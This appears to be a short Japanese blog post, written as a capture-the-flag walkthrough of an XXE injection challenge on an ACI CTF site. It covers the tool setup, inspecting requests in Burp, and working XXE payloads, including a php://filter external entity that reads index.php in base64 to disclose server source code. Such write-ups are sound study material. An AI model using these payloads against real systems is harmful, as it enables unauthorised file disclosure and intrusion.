Hello there, ('ω')ノ
金曜日からPCを製作していて、環境構築などで忙しく。
今回は、x300のベアボーンにRyzenのCPUを組み合わせて。
これがなかなか、コンパクトで性能もよくて。
さて、下記のサイトでXXEを試すためすことに。
https://challenge.acictf.com/problem/55500
ソースコードは、下記からダウンロードして、解凍を。
wget https://challenge.acictf.com/problem/55500/src.zip
解凍したファイルのソースコードを閲覧するために。
Sublime Textの署名鍵をダウンロードし登録して。
wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo apt-key add -
sublime textリポジトリを追加して。
echo "deb https://download.sublimetext.com/ apt/stable/" | sudo tee /etc/apt/sources.list.d/sublime-text.list
Sublime Textをインストールして。
apt-get update
apt-get install sublime-text
下記のファイルから、ログイン時のXMLファイルがわかって。
subl funcs.php
下記のURLでXMLファイルの確認を。
https://challenge.acictf.com/problem/55500/creds.xml
ソースコードからログインはパスワードなしとのことで。
ログイン後の画面を。
一部、変更して実行すると。
地図のハイライトが変更されて。
Burpでリクエストを確認して。
XMLをデコードして内容を確認して。
下記のサイトにXXEのペイロードがあるので。
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#tools
ペイロードの一部を変更して。
<!--?xml version="1.0" ?--><!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<cybermap>
<name>&example;</name>
<country>CN</country>
<country>US</country>
</cybermap>
エンコードした文字を実行すると、反映されたことが確認できて。
%3c%21%2d%2d%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%3f%2d%2d%3e%3c%21%2d%2d%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%3f%2d%2d%3e%0a%3c%21%44%4f%43%54%59%50%45%20%72%65%70%6c%61%63%65%20%5b%3c%21%45%4e%54%49%54%59%20%65%78%61%6d%70%6c%65%20%22%44%6f%65%22%3e%20%5d%3e%0a%3c%63%79%62%65%72%6d%61%70%3e%0a%3c%6e%61%6d%65%3e%26%65%78%61%6d%70%6c%65%3b%3c%2f%6e%61%6d%65%3e%0a%3c%63%6f%75%6e%74%72%79%3e%43%4e%3c%2f%63%6f%75%6e%74%72%79%3e%0a%3c%63%6f%75%6e%74%72%79%3e%55%53%3c%2f%63%6f%75%6e%74%72%79%3e%0a%3c%2f%63%79%62%65%72%6d%61%70%3e
もう一つ、実行してみることに。
同じようにペイロードの一部を変更して。
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<cybermap>
<name>&xxe;</name>
<country>CN</country>
<country>US</country>
</cybermap>
実行すると、レスポンスに反映されたようで。
レスポンスで得られた文字ををBase64でデコードしてみると。
ソースコードが確認できた。
Best regards, (^^ゞ